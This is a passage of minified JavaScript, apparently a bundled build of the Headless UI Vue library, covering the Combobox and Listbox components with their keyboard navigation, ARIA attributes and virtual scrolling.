t=kt(Rs,null);if(t===null){let r=new Error(`<${e} /> is missing a parent component.`);throw Error.captureStackTrace&&Error.captureStackTrace(r,vn),r}return t}let $s=Symbol("VirtualContext"),Bu=xe({name:"VirtualProvider",setup(e,{slots:t}){let r=vn("VirtualProvider"),n=q(()=>{let s=ee(r.optionsRef);if(!s)return{start:0,end:0};let c=window.getComputedStyle(s);return{start:parseFloat(c.paddingBlockStart||c.paddingTop),end:parseFloat(c.paddingBlockEnd||c.paddingBottom)}}),i=nu(q(()=>({scrollPaddingStart:n.value.start,scrollPaddingEnd:n.value.end,count:r.virtual.value.options.length,estimateSize(){return 40},getScrollElement(){return ee(r.optionsRef)},overscan:12}))),a=q(()=>{var s;return(s=r.virtual.value)==null?void 0:s.options}),o=re(0);return Je([a],()=>{o.value+=1}),hn($s,r.virtual.value?i:null),()=>[Lr("div",{style:{position:"relative",width:"100%",height:`${i.value.getTotalSize()}px`},ref:s=>{if(s){if(typeof process<"u"&&_u.JEST_WORKER_ID!==void 0||r.activationTrigger.value===0)return;r.activeOptionIndex.value!==null&&r.virtual.value.options.length>r.activeOptionIndex.value&&i.value.scrollToIndex(r.activeOptionIndex.value)}}},i.value.getVirtualItems().map(s=>rs(t.default({option:r.virtual.value.options[s.index],open:r.comboboxState.value===0})[0],{key:`${o.value}-${s.index}`,"data-index":s.index,"aria-setsize":r.virtual.value.options.length,"aria-posinset":s.index+1,style:{position:"absolute",top:0,left:0,transform:`translateY(${s.start}px)`,overflowAnchor:"none"}})))]}}),ku=xe({name:"Combobox",emits:{"update:modelValue":e=>!0},props:{as:{type:[Object,String],default:"template"},disabled:{type:[Boolean],default:!1},by:{type:[String,Function],nullable:!0,default:null},modelValue:{type:[Object,String,Number,Boolean],default:void 0},defaultValue:{type:[Object,String,Number,Boolean],default:void 0},form:{type:String,optional:!0},name:{type:String,optional:!0},nullable:{type:Boolean,default:!1},multiple:{type:[Boolean],default:!1},immediate:{type:[Boolean],default:!1},virtual:{type:Object,default:null}},inheritAttrs:!1,setup(e,{slots:t,attrs:r,emit:n}){let i=re(1),a=re(null),o=re(null),s=re(null),c=re(null),b=re({static:!1,hold:!1}),p=re([]),m=re(null),E=re(2),I=re(!1);function B(U=x=>x){let x=m.value!==null?p.value[m.value]:null,f=U(p.value.slice()),h=f.length>0&&f[0].dataRef.order.value!==null?f.sort((y,M)=>y.dataRef.order.value-M.dataRef.order.value):ms(f,y=>ee(y.dataRef.domRef)),g=x?h.indexOf(x):null;return g===-1&&(g=null),{options:h,activeOptionIndex:g}}let C=q(()=>e.multiple?1:0),F=q(()=>e.nullable),[z,D]=ps(q(()=>e.modelValue),U=>n("update:modelValue",U),q(()=>e.defaultValue)),R=q(()=>z.value===void 0?tt(C.value,{1:[],0:void 0}):z.value),N=null,$=null;function L(U){return tt(C.value,{0(){return D==null?void 0:D(U)},1:()=>{let x=Ye(j.value.value).slice(),f=Ye(U),h=x.findIndex(g=>j.compare(f,Ye(g)));return h===-1?x.push(f):x.splice(h,1),D==null?void 0:D(x)}})}let K=q(()=>{});Je([K],([U],[x])=>{if(j.virtual.value&&U&&x&&m.value!==null){let f=U.indexOf(x[m.value]);f!==-1?m.value=f:m.value=null}});let j={comboboxState:i,value:R,mode:C,compare(U,x){if(typeof e.by=="string"){let f=e.by;return(U==null?void 0:U[f])===(x==null?void 0:x[f])}return e.by===null?Eu(U,x):e.by(U,x)},calculateIndex(U){return j.virtual.value?e.by===null?j.virtual.value.options.indexOf(U):j.virtual.value.options.findIndex(x=>j.compare(x,U)):p.value.findIndex(x=>j.compare(x.dataRef.value,U))},defaultValue:q(()=>e.defaultValue),nullable:F,immediate:q(()=>!1),virtual:q(()=>null),inputRef:o,labelRef:a,buttonRef:s,optionsRef:c,disabled:q(()=>e.disabled),options:p,change(U){D(U)},activeOptionIndex:q(()=>{if(I.value&&m.value===null&&(j.virtual.value?j.virtual.value.options.length>0:p.value.length>0)){if(j.virtual.value){let x=j.virtual.value.options.findIndex(f=>{var h;return!((h=j.virtual.value)!=null&&h.disabled(f))});if(x!==-1)return x}let U=p.value.findIndex(x=>!x.dataRef.disabled);if(U!==-1)return U}return m.value}),activationTrigger:E,optionsPropsRef:b,closeCombobox(){I.value=!1,!e.disabled&&i.value!==1&&(i.value=1,m.value=null)},openCombobox(){if(I.value=!0,!e.disabled&&i.value!==0){if(j.value.value){let U=j.calculateIndex(j.value.value);U!==-1&&(m.value=U)}i.value=0}},setActivationTrigger(U){E.value=U},goToOption(U,x,f){I.value=!1,N!==null&&cancelAnimationFrame(N),N=requestAnimationFrame(()=>{if(e.disabled||c.value&&!b.value.static&&i.value===1)return;if(j.virtual.value){m.value=U===ce.Specific?x:ha({focus:U},{resolveItems:()=>j.virtual.value.options,resolveActiveIndex:()=>{var y,M;return(M=(y=j.activeOptionIndex.value)!=null?y:j.virtual.value.options.findIndex(A=>{var k;return!((k=j.virtual.value)!=null&&k.disabled(A))}))!=null?M:null},resolveDisabled:y=>j.virtual.value.disabled(y),resolveId(){throw new Error("Function not implemented.")}}),E.value=f??2;return}let h=B();if(h.activeOptionIndex===null){let y=h.options.findIndex(M=>!M.dataRef.disabled);y!==-1&&(h.activeOptionIndex=y)}let g=U===ce.Specific?x:ha({focus:U},{resolveItems:()=>h.options,resolveActiveIndex:()=>h.activeOptionIndex,resolveId:y=>y.id,resolveDisabled:y=>y.dataRef.disabled});m.value=g,E.value=f??2,p.value=h.options})},selectOption(U){let x=p.value.find(h=>h.id===U);if(!x)return;let{dataRef:f}=x;L(f.value)},selectActiveOption(){if(j.activeOptionIndex.value!==null){if(j.virtual.value)L(j.virtual.value.options[j.activeOptionIndex.value]);else{let{dataRef:U}=p.value[j.activeOptionIndex.value];L(U.value)}j.goToOption(ce.Specific,j.activeOptionIndex.value)}},registerOption(U,x){let f=bn({id:U,dataRef:x});if(j.virtual.value){p.value.push(f);return}$&&cancelAnimationFrame($);let h=B(g=>(g.push(f),g));m.value===null&&j.isSelected(x.value.value)&&(h.activeOptionIndex=h.options.indexOf(f)),p.value=h.options,m.value=h.activeOptionIndex,E.value=2,h.options.some(g=>!ee(g.dataRef.domRef))&&($=requestAnimationFrame(()=>{let g=B();p.value=g.options,m.value=g.activeOptionIndex}))},unregisterOption(U,x){if(N!==null&&cancelAnimationFrame(N),x&&(I.value=!0),j.virtual.value){p.value=p.value.filter(h=>h.id!==U);return}let f=B(h=>{let g=h.findIndex(y=>y.id===U);return g!==-1&&h.splice(g,1),h});p.value=f.options,m.value=f.activeOptionIndex,E.value=2},isSelected(U){return tt(C.value,{0:()=>j.compare(Ye(j.value.value),Ye(U)),1:()=>Ye(j.value.value).some(x=>j.compare(Ye(x),Ye(U)))})},isActive(U){return m.value===j.calculateIndex(U)}};ys([o,s,c],()=>j.closeCombobox(),q(()=>i.value===0)),hn(Rs,j),Os(q(()=>tt(i.value,{0:ur.Open,1:ur.Closed})));let H=q(()=>{var U;return(U=ee(o))==null?void 0:U.closest("form")});return Rt(()=>{Je([H],()=>{if(!H.value||e.defaultValue===void 0)return;function U(){j.change(e.defaultValue)}return H.value.addEventListener("reset",U),()=>{var x;(x=H.value)==null||x.removeEventListener("reset",U)}},{immediate:!0})}),()=>{var U,x,f;let{name:h,disabled:g,form:y,...M}=e,A={open:i.value===0,disabled:g,activeIndex:j.activeOptionIndex.value,activeOption:j.activeOptionIndex.value===null?null:j.virtual.value?j.virtual.value.options[(U=j.activeOptionIndex.value)!=null?U:0]:(f=(x=j.options.value[j.activeOptionIndex.value])==null?void 0:x.dataRef.value)!=null?f:null,value:R.value};return Lr(pn,[...h!=null&&R.value!=null?Ca({[h]:R.value}).map(([k,_])=>Lr(Es,_s({features:ka.Hidden,key:k,as:"input",type:"hidden",hidden:!0,readOnly:!0,form:y,disabled:g,name:k,value:_}))):[],er({theirProps:{...r,...Pn(M,["by","defaultValue","immediate","modelValue","multiple","nullable","onUpdate:modelValue","virtual"])},ourProps:{},slot:A,slots:t,attrs:r,name:"Combobox"})])}}}),Cu=xe({name:"ComboboxButton",props:{as:{type:[Object,String],default:"button"},id:{type:String,default:null}},setup(e,{attrs:t,slots:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-combobox-button-${Wr()}`,o=vn("ComboboxButton");n({el:o.buttonRef,$el:o.buttonRef});function s(p){o.disabled.value||(o.comboboxState.value===0?o.closeCombobox():(p.preventDefault(),o.openCombobox()),ot(()=>{var m;return(m=ee(o.inputRef))==null?void 0:m.focus({preventScroll:!0})}))}function c(p){switch(p.key){case me.ArrowDown:p.preventDefault(),p.stopPropagation(),o.comboboxState.value===1&&o.openCombobox(),ot(()=>{var m;return(m=o.inputRef.value)==null?void 0:m.focus({preventScroll:!0})});return;case me.ArrowUp:p.preventDefault(),p.stopPropagation(),o.comboboxState.value===1&&(o.openCombobox(),ot(()=>{o.value.value||o.goToOption(ce.Last)})),ot(()=>{var m;return(m=o.inputRef.value)==null?void 0:m.focus({preventScroll:!0})});return;case me.Escape:if(o.comboboxState.value!==0)return;p.preventDefault(),o.optionsRef.value&&!o.optionsPropsRef.value.static&&p.stopPropagation(),o.closeCombobox(),ot(()=>{var m;return(m=o.inputRef.value)==null?void 0:m.focus({preventScroll:!0})});return}}let b=xs(q(()=>({as:e.as,type:t.type})),o.buttonRef);return()=>{var p,m;let E={open:o.comboboxState.value===0,disabled:o.disabled.value,value:o.value.value},{...I}=e,B={ref:o.buttonRef,id:a,type:b.value,tabindex:"-1","aria-haspopup":"listbox","aria-controls":(p=ee(o.optionsRef))==null?void 0:p.id,"aria-expanded":o.comboboxState.value===0,"aria-labelledby":o.labelRef.value?[(m=ee(o.labelRef))==null?void 0:m.id,a].join(" "):void 0,disabled:o.disabled.value===!0?!0:void 0,onKeydown:c,onClick:s};return er({ourProps:B,theirProps:I,slot:E,attrs:t,slots:r,name:"ComboboxButton"})}}}),Ru=xe({name:"ComboboxInput",props:{as:{type:[Object,String],default:"input"},static:{type:Boolean,default:!1},unmount:{type:Boolean,default:!0},displayValue:{type:Function},defaultValue:{type:String,default:void 0},id:{type:String,default:null}},emits:{change:e=>!0},setup(e,{emit:t,attrs:r,slots:n,expose:i}){var a;let o=(a=e.id)!=null?a:`headlessui-combobox-input-${Wr()}`,s=vn("ComboboxInput"),c=q(()=>Oa(ee(s.inputRef))),b={value:!1};i({el:s.inputRef,$el:s.inputRef});function p(){s.change(null);let $=ee(s.optionsRef);$&&($.scrollTop=0),s.goToOption(ce.Nothing)}let m=q(()=>{var $;let L=s.value.value;return ee(s.inputRef)?typeof e.displayValue<"u"&&L!==void 0?($=e.displayValue(L))!=null?$:"":typeof L=="string"?L:"":""});Rt(()=>{Je([m,s.comboboxState,c],([$,L],[K,j])=>{if(b.value)return;let H=ee(s.inputRef);H&&((j===0&&L===1||$!==K)&&(H.value=$),requestAnimationFrame(()=>{var U;if(b.value||!H||((U=c.value)==null?void 0:U.activeElement)!==H)return;let{selectionStart:x,selectionEnd:f}=H;Math.abs((f??0)-(x??0))===0&&x===0&&H.setSelectionRange(H.value.length,H.value.length)}))},{immediate:!0}),Je([s.comboboxState],([$],[L])=>{if($===0&&L===1){if(b.value)return;let K=ee(s.inputRef);if(!K)return;let j=K.value,{selectionStart:H,selectionEnd:U,selectionDirection:x}=K;K.value="",K.value=j,x!==null?K.setSelectionRange(H,U,x):K.setSelectionRange(H,U)}})});let E=re(!1);function I(){E.value=!0}function B(){Xn().nextFrame(()=>{E.value=!1})}let C=ou();function F($){switch(b.value=!0,C(()=>{b.value=!1}),$.key){case me.Enter:if(b.value=!1,s.comboboxState.value!==0||E.value)return;if($.preventDefault(),$.stopPropagation(),s.activeOptionIndex.value===null){s.closeCombobox();return}s.selectActiveOption(),s.mode.value===0&&s.closeCombobox();break;case me.ArrowDown:return b.value=!1,$.preventDefault(),$.stopPropagation(),tt(s.comboboxState.value,{0:()=>s.goToOption(ce.Next),1:()=>s.openCombobox()});case me.ArrowUp:return b.value=!1,$.preventDefault(),$.stopPropagation(),tt(s.comboboxState.value,{0:()=>s.goToOption(ce.Previous),1:()=>{s.openCombobox(),ot(()=>{s.value.value||s.goToOption(ce.Last)})}});case me.Home:if($.shiftKey)break;return b.value=!1,$.preventDefault(),$.stopPropagation(),s.goToOption(ce.First);case me.PageUp:return b.value=!1,$.preventDefault(),$.stopPropagation(),s.goToOption(ce.First);case me.End:if($.shiftKey)break;return b.value=!1,$.preventDefault(),$.stopPropagation(),s.goToOption(ce.Last);case me.PageDown:return b.value=!1,$.preventDefault(),$.stopPropagation(),s.goToOption(ce.Last);case me.Escape:if(b.value=!1,s.comboboxState.value!==0)return;$.preventDefault(),s.optionsRef.value&&!s.optionsPropsRef.value.static&&$.stopPropagation(),s.nullable.value&&s.mode.value===0&&s.value.value===null&&p(),s.closeCombobox();break;case me.Tab:if(b.value=!1,s.comboboxState.value!==0)return;s.mode.value===0&&s.activationTrigger.value!==1&&s.selectActiveOption(),s.closeCombobox();break}}function z($){t("change",$),s.nullable.value&&s.mode.value===0&&$.target.value===""&&p(),s.openCombobox()}function D($){var L,K,j;let H=(L=$.relatedTarget)!=null?L:Tr.find(U=>U!==$.currentTarget);if(b.value=!1,!((K=ee(s.optionsRef))!=null&&K.contains(H))&&!((j=ee(s.buttonRef))!=null&&j.contains(H))&&s.comboboxState.value===0)return $.preventDefault(),s.mode.value===0&&(s.nullable.value&&s.value.value===null?p():s.activationTrigger.value!==1&&s.selectActiveOption()),s.closeCombobox()}function R($){var L,K,j;let H=(L=$.relatedTarget)!=null?L:Tr.find(U=>U!==$.currentTarget);(K=ee(s.buttonRef))!=null&&K.contains(H)||(j=ee(s.optionsRef))!=null&&j.contains(H)||s.disabled.value||s.immediate.value&&s.comboboxState.value!==0&&(s.openCombobox(),Xn().nextFrame(()=>{s.setActivationTrigger(1)}))}let N=q(()=>{var $,L,K,j;return(j=(K=(L=e.defaultValue)!=null?L:s.defaultValue.value!==void 0?($=e.displayValue)==null?void 0:$.call(e,s.defaultValue.value):null)!=null?K:s.defaultValue.value)!=null?j:""});return()=>{var $,L,K,j,H,U,x;let f={open:s.comboboxState.value===0},{displayValue:h,onChange:g,...y}=e,M={"aria-controls":($=s.optionsRef.value)==null?void 0:$.id,"aria-expanded":s.comboboxState.value===0,"aria-activedescendant":s.activeOptionIndex.value===null?void 0:s.virtual.value?(L=s.options.value.find(A=>!s.virtual.value.disabled(A.dataRef.value)&&s.compare(A.dataRef.value,s.virtual.value.options[s.activeOptionIndex.value])))==null?void 0:L.id:(K=s.options.value[s.activeOptionIndex.value])==null?void 0:K.id,"aria-labelledby":(U=(j=ee(s.labelRef))==null?void 0:j.id)!=null?U:(H=ee(s.buttonRef))==null?void 0:H.id,"aria-autocomplete":"list",id:o,onCompositionstart:I,onCompositionend:B,onKeydown:F,onInput:z,onFocus:R,onBlur:D,role:"combobox",type:(x=r.type)!=null?x:"text",tabIndex:0,ref:s.inputRef,defaultValue:N.value,disabled:s.disabled.value===!0?!0:void 0};return er({ourProps:M,theirProps:y,slot:f,attrs:r,slots:n,features:jr.RenderStrategy|jr.Static,name:"ComboboxInput"})}}}),$u=xe({name:"ComboboxOptions",props:{as:{type:[Object,String],default:"ul"},static:{type:Boolean,default:!1},unmount:{type:Boolean,default:!0},hold:{type:[Boolean],default:!1}},setup(e,{attrs:t,slots:r,expose:n}){let i=vn("ComboboxOptions"),a=`headlessui-combobox-options-${Wr()}`;n({el:i.optionsRef,$el:i.optionsRef}),Ct(()=>{i.optionsPropsRef.value.static=e.static}),Ct(()=>{i.optionsPropsRef.value.hold=e.hold});let o=Is(),s=q(()=>o!==null?(o.value&ur.Open)===ur.Open:i.comboboxState.value===0);yu({container:q(()=>ee(i.optionsRef)),enabled:q(()=>i.comboboxState.value===0),accept(b){return b.getAttribute("role")==="option"?NodeFilter.FILTER_REJECT:b.hasAttribute("role")?NodeFilter.FILTER_SKIP:NodeFilter.FILTER_ACCEPT},walk(b){b.setAttribute("role","none")}});function c(b){b.preventDefault()}return()=>{var b,p,m;let E={open:i.comboboxState.value===0},I={"aria-labelledby":(m=(b=ee(i.labelRef))==null?void 0:b.id)!=null?m:(p=ee(i.buttonRef))==null?void 0:p.id,id:a,ref:i.optionsRef,role:"listbox","aria-multiselectable":i.mode.value===1?!0:void 0,onMousedown:c},B=Pn(e,["hold"]);return er({ourProps:I,theirProps:B,slot:E,attrs:t,slots:i.virtual.value&&i.comboboxState.value===0?{...r,default:()=>[Lr(Bu,{},r.default)]}:r,features:jr.RenderStrategy|jr.Static,visible:s.value,name:"ComboboxOptions"})}}}),Tu=xe({name:"ComboboxOption",props:{as:{type:[Object,String],default:"li"},value:{type:[Object,String,Number,Boolean]},disabled:{type:Boolean,default:!1},order:{type:[Number],default:null}},setup(e,{slots:t,attrs:r,expose:n}){let i=vn("ComboboxOption"),a=`headlessui-combobox-option-${Wr()}`,o=re(null),s=q(()=>e.disabled);n({el:o,$el:o});let c=q(()=>{var D;return i.virtual.value?i.activeOptionIndex.value===i.calculateIndex(e.value):i.activeOptionIndex.value===null?!1:((D=i.options.value[i.activeOptionIndex.value])==null?void 0:D.id)===a}),b=q(()=>i.isSelected(e.value)),p=kt($s,null),m=q(()=>({disabled:e.disabled,value:e.value,domRef:o,order:q(()=>e.order)}));Rt(()=>i.registerOption(a,m)),ni(()=>i.unregisterOption(a,c.value)),Ct(()=>{let D=ee(o);D&&(p==null||p.value.measureElement(D))}),Ct(()=>{i.comboboxState.value===0&&c.value&&(i.virtual.value||i.activationTrigger.value!==0&&ot(()=>{var D,R;return(R=(D=ee(o))==null?void 0:D.scrollIntoView)==null?void 0:R.call(D,{block:"nearest"})}))});function E(D){D.preventDefault(),D.button===Bs.Left&&(s.value||(i.selectOption(a),gs()||requestAnimationFrame(()=>{var R;return(R=ee(i.inputRef))==null?void 0:R.focus({preventScroll:!0})}),i.mode.value===0&&i.closeCombobox()))}function I(){var D;if(e.disabled||(D=i.virtual.value)!=null&&D.disabled(e.value))return i.goToOption(ce.Nothing);let R=i.calculateIndex(e.value);i.goToOption(ce.Specific,R)}let B=ws();function C(D){B.update(D)}function F(D){var R;if(!B.wasMoved(D)||e.disabled||(R=i.virtual.value)!=null&&R.disabled(e.value)||c.value)return;let N=i.calculateIndex(e.value);i.goToOption(ce.Specific,N,0)}function z(D){var R;B.wasMoved(D)&&(e.disabled||(R=i.virtual.value)!=null&&R.disabled(e.value)||c.value&&(i.optionsPropsRef.value.hold||i.goToOption(ce.Nothing)))}return()=>{let{disabled:D}=e,R={active:c.value,selected:b.value,disabled:D},N={id:a,ref:o,role:"option",tabIndex:D===!0?void 0:-1,"aria-disabled":D===!0?!0:void 0,"aria-selected":b.value,disabled:void 0,onMousedown:E,onFocus:I,onPointerenter:C,onMouseenter:C,onPointermove:F,onMousemove:F,onPointerleave:z,onMouseleave:z},$=Pn(e,["order","value"]);return er({ourProps:N,theirProps:$,slot:R,attrs:r,slots:t,name:"ComboboxOption"})}}}),Oo=/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g;function Bo(e){var t,r;let n=(t=e.innerText)!=null?t:"",i=e.cloneNode(!0);if(!(i instanceof HTMLElement))return n;let a=!1;for(let s of i.querySelectorAll('[hidden],[aria-hidden],[role="img"]'))s.remove(),a=!0;let o=a?(r=i.innerText)!=null?r:"":n;return Oo.test(o)&&(o=o.replace(Oo,"")),o}function Pu(e){let t=e.getAttribute("aria-label");if(typeof t=="string")return t.trim();let r=e.getAttribute("aria-labelledby");if(r){let n=r.split(" ").map(i=>{let a=document.getElementById(i);if(a){let o=a.getAttribute("aria-label");return typeof o=="string"?o.trim():Bo(a).trim()}return null}).filter(Boolean);if(n.length>0)return n.join(", ")}return Bo(e).trim()}function Nu(e){let t=re(""),r=re("");return()=>{let n=ee(e);if(!n)return"";let i=n.innerText;if(t.value===i)return r.value;let a=Pu(n).trim().toLowerCase();return t.value=i,r.value=a,a}}function zu(e,t){return e===t}var Du=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Du||{}),Fu=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Fu||{}),Lu=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(Lu||{});function ju(e){requestAnimationFrame(()=>requestAnimationFrame(e))}let Ts=Symbol("ListboxContext");function ii(e){let t=kt(Ts,null);if(t===null){let r=new Error(`<${e} /> is missing a parent component.`);throw Error.captureStackTrace&&Error.captureStackTrace(r,ii),r}return t}let Uu=xe({name:"Listbox",emits:{"update:modelValue":e=>!0},props:{as:{type:[Object,String],default:"template"},disabled:{type:[Boolean],default:!1},by:{type:[String,Function],default:()=>zu},horizontal:{type:[Boolean],default:!1},modelValue:{type:[Object,String,Number,Boolean],default:void 0},defaultValue:{type:[Object,String,Number,Boolean],default:void 0},form:{type:String,optional:!0},name:{type:String,optional:!0},multiple:{type:[Boolean],default:!1}},inheritAttrs:!1,setup(e,{slots:t,attrs:r,emit:n}){let i=re(1),a=re(null),o=re(null),s=re(null),c=re([]),b=re(""),p=re(null),m=re(1);function E(R=N=>N){let N=p.value!==null?c.value[p.value]:null,$=ms(R(c.value.slice()),K=>ee(K.dataRef.domRef)),L=N?$.indexOf(N):null;return L===-1&&(L=null),{options:$,activeOptionIndex:L}}let I=q(()=>e.multiple?1:0),[B,C]=ps(q(()=>e.modelValue),R=>n("update:modelValue",R),q(()=>e.defaultValue)),F=q(()=>B.value===void 0?tt(I.value,{1:[],0:void 0}):B.value),z={listboxState:i,value:F,mode:I,compare(R,N){if(typeof e.by=="string"){let $=e.by;return(R==null?void 0:R[$])===(N==null?void 0:N[$])}return e.by(R,N)},orientation:q(()=>e.horizontal?"horizontal":"vertical"),labelRef:a,buttonRef:o,optionsRef:s,disabled:q(()=>e.disabled),options:c,searchQuery:b,activeOptionIndex:p,activationTrigger:m,closeListbox(){e.disabled||i.value!==1&&(i.value=1,p.value=null)},openListbox(){e.disabled||i.value!==0&&(i.value=0)},goToOption(R,N,$){if(e.disabled||i.value===1)return;let L=E(),K=ha(R===ce.Specific?{focus:ce.Specific,id:N}:{focus:R},{resolveItems:()=>L.options,resolveActiveIndex:()=>L.activeOptionIndex,resolveId:j=>j.id,resolveDisabled:j=>j.dataRef.disabled});b.value="",p.value=K,m.value=$??1,c.value=L.options},search(R){if(e.disabled||i.value===1)return;let N=b.value!==""?0:1;b.value+=R.toLowerCase();let $=(p.value!==null?c.value.slice(p.value+N).concat(c.value.slice(0,p.value+N)):c.value).find(K=>K.dataRef.textValue.startsWith(b.value)&&!K.dataRef.disabled),L=$?c.value.indexOf($):-1;L===-1||L===p.value||(p.value=L,m.value=1)},clearSearch(){e.disabled||i.value!==1&&b.value!==""&&(b.value="")},registerOption(R,N){let $=E(L=>[...L,{id:R,dataRef:N}]);c.value=$.options,p.value=$.activeOptionIndex},unregisterOption(R){let N=E($=>{let L=$.findIndex(K=>K.id===R);return L!==-1&&$.splice(L,1),$});c.value=N.options,p.value=N.activeOptionIndex,m.value=1},theirOnChange(R){e.disabled||C(R)},select(R){e.disabled||C(tt(I.value,{0:()=>R,1:()=>{let N=Ye(z.value.value).slice(),$=Ye(R),L=N.findIndex(K=>z.compare($,Ye(K)));return L===-1?N.push($):N.splice(L,1),N}}))}};ys([o,s],(R,N)=>{var $;z.closeListbox(),vs(N,Ba.Loose)||(R.preventDefault(),($=ee(o))==null||$.focus())},q(()=>i.value===0)),hn(Ts,z),Os(q(()=>tt(i.value,{0:ur.Open,1:ur.Closed})));let D=q(()=>{var R;return(R=ee(o))==null?void 0:R.closest("form")});return Rt(()=>{Je([D],()=>{if(!D.value||e.defaultValue===void 0)return;function R(){z.theirOnChange(e.defaultValue)}return D.value.addEventListener("reset",R),()=>{var N;(N=D.value)==null||N.removeEventListener("reset",R)}},{immediate:!0})}),()=>{let{name:R,modelValue:N,disabled:$,form:L,...K}=e,j={open:i.value===0,disabled:$,value:F.value};return Lr(pn,[...R!=null&&F.value!=null?Ca({[R]:F.value}).map(([H,U])=>Lr(Es,_s({features:ka.Hidden,key:H,as:"input",type:"hidden",hidden:!0,readOnly:!0,form:L,disabled:$,name:H,value:U}))):[],er({ourProps:{},theirProps:{...r,...Pn(K,["defaultValue","onUpdate:modelValue","horizontal","multiple","by"])},slot:j,slots:t,attrs:r,name:"Listbox"})])}}}),qu=xe({name:"ListboxButton",props:{as:{type:[Object,String],default:"button"},id:{type:String,default:null}},setup(e,{attrs:t,slots:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-listbox-button-${Wr()}`,o=ii("ListboxButton");n({el:o.buttonRef,$el:o.buttonRef});function s(m){switch(m.key){case me.Space:case me.Enter:case me.ArrowDown:m.preventDefault(),o.openListbox(),ot(()=>{var E;(E=ee(o.optionsRef))==null||E.focus({preventScroll:!0}),o.value.value||o.goToOption(ce.First)});break;case me.ArrowUp:m.preventDefault(),o.openListbox(),ot(()=>{var E;(E=ee(o.optionsRef))==null||E.focus({preventScroll:!0}),o.value.value||o.goToOption(ce.Last)});break}}function c(m){switch(m.key){case me.Space:m.preventDefault();break}}function b(m){o.disabled.value||(o.listboxState.value===0?(o.closeListbox(),ot(()=>{var E;return(E=ee(o.buttonRef))==null?void 0:E.focus({preventScroll:!0})})):(m.preventDefault(),o.openListbox(),ju(()=>{var E;return(E=ee(o.optionsRef))==null?void 0:E.focus({preventScroll:!0})})))}let p=xs(q(()=>({as:e.as,type:t.type})),o.buttonRef);return()=>{var m,E;let I={open:o.listboxState.value===0,disabled:o.disabled.value,value:o.value.value},{...B}=e,C={ref:o.buttonRef,id:a,type:p.value,"aria-haspopup":"listbox","aria-controls":(m=ee(o.optionsRef))==null?void 0:m.id,"aria-expanded":o.listboxState.value===0,"aria-labelledby":o.labelRef.value?[(E=ee(o.labelRef))==null?void 0:E.id,a].join(" "):void 0,disabled:o.disabled.value===!0?!0:void 0,onKeydown:s,onKeyup:c,onClick:b};return er({ourProps:C,theirProps:B,slot:I,attrs:t,slots:r,name:"ListboxButton"})}}}),Hu=xe({name:"ListboxOptions",props:{as:{type:[Object,String],default:"ul"},static:{type:Boolean,default:!1},unmount:{type:Boolean,default:!0},id:{type:String,default:null}},setup(e,{attrs:t,slots:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-listbox-options-${Wr()}`,o=ii("ListboxOptions"),s=re(null);n({el:o.optionsRef,$el:o.optionsRef});function c(m){switch(s.value&&clearTimeout(s.value),m.key){case me.Space:if(o.searchQuery.value!=="")return m.preventDefault(),m.stopPropagation(),o.search(m.key);case me.Enter:if(m.preventDefault(),m.stopPropagation(),o.activeOptionIndex.value!==null){let E=o.options.value[o.activeOptionIndex.value];o.select(E.dataRef.value)}o.mode.value===0&&(o.closeListbox(),ot(()=>{var E;return(E=ee(o.buttonRef))==null?void 0:E.focus({preventScroll:!0})}));break;case tt(o.orientation.value,{vertical:me.ArrowDown,horizontal:me.ArrowRight}):return m.preventDefault(),m.stopPropagation(),o.goToOption(ce.Next);case tt(o.orientation.value,{vertical:me.ArrowUp,horizontal:me.ArrowLeft}):return m.preventDefault(),m.stopPropagation(),o.goToOption(ce.Previous);case me.Home:case me.PageUp:return m.preventDefault(),m.stopPropagation(),o.goToOption(ce.First);case me.End:case me.PageDown:return m.preventDefault(),m.stopPropagation(),o.goToOption(ce.Last);case me.Escape:m.preventDefault(),m.stopPropagation(),o.closeListbox(),ot(()=>{var E;return(E=ee(o.buttonRef))==null?void 0:E.focus({preventScroll:!0})});break;case me.Tab:m.preventDefault(),m.stopPropagation();break;default:m.key.length===1&&(o.search(m.key),s.value=setTimeout(()=>o.clearSearch(),350));break}}let b=Is(),p=q(()=>b!==null?(b.value&ur.Open)===ur.Open:o.listboxState.value===0);return()=>{var m,E;let I={open:o.listboxState.value===0},{...B}=e,C={"aria-activedescendant":o.activeOptionIndex.value===null||(m=o.options.value[o.activeOptionIndex.value])==null?void 0:m.id,"aria-multiselectable":o.mode.value===1?!0:void 0,"aria-labelledby":(E=ee(o.buttonRef))==null?void 0:E.id,"aria-orientation":o.orientation.value,id:a,onKeydown:c,role:"listbox",tabIndex:0,ref:o.optionsRef};return er({ourProps:C,theirProps:B,slot:I,attrs:t,slots:r,features:jr.RenderStrategy|jr.Static,visible:p.value,name:"ListboxOptions"})}}}),Vu=xe({name:"ListboxOption",props:{as:{type:[Object,String],default:"li"},value:{type:[Object,String,Number,Boolean]},disabled:{type:Boolean,default:!1},id:{type:String,default:null}},setup(e,{slots:t,attrs:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-listbox-option-${Wr()}`,o=ii("ListboxOption"),s=re(null);n({el:s,$el:s});let c=q(()=>o.activeOptionIndex.value!==null?o.options.value[o.activeOptionIndex.value].id===a:!1),b=q(()=>tt(o.mode.value,{0:()=>o.compare(Ye(o.value.value),Ye(e.value)),1:()=>Ye(o.value.value).some(R=>o.compare(Ye(R),Ye(e.value)))})),p=q(()=>tt(o.mode.value,{1:()=>{var R;let N=Ye(o.value.value);return((R=o.options.value.find($=>N.some(L=>o.compare(Ye(L),Ye($.dataRef.value)))))==null?void 0:R.id)===a},0:()=>b.value})),m=Nu(s),E=q(()=>({disabled:e.disabled,value:e.value,get textValue(){return 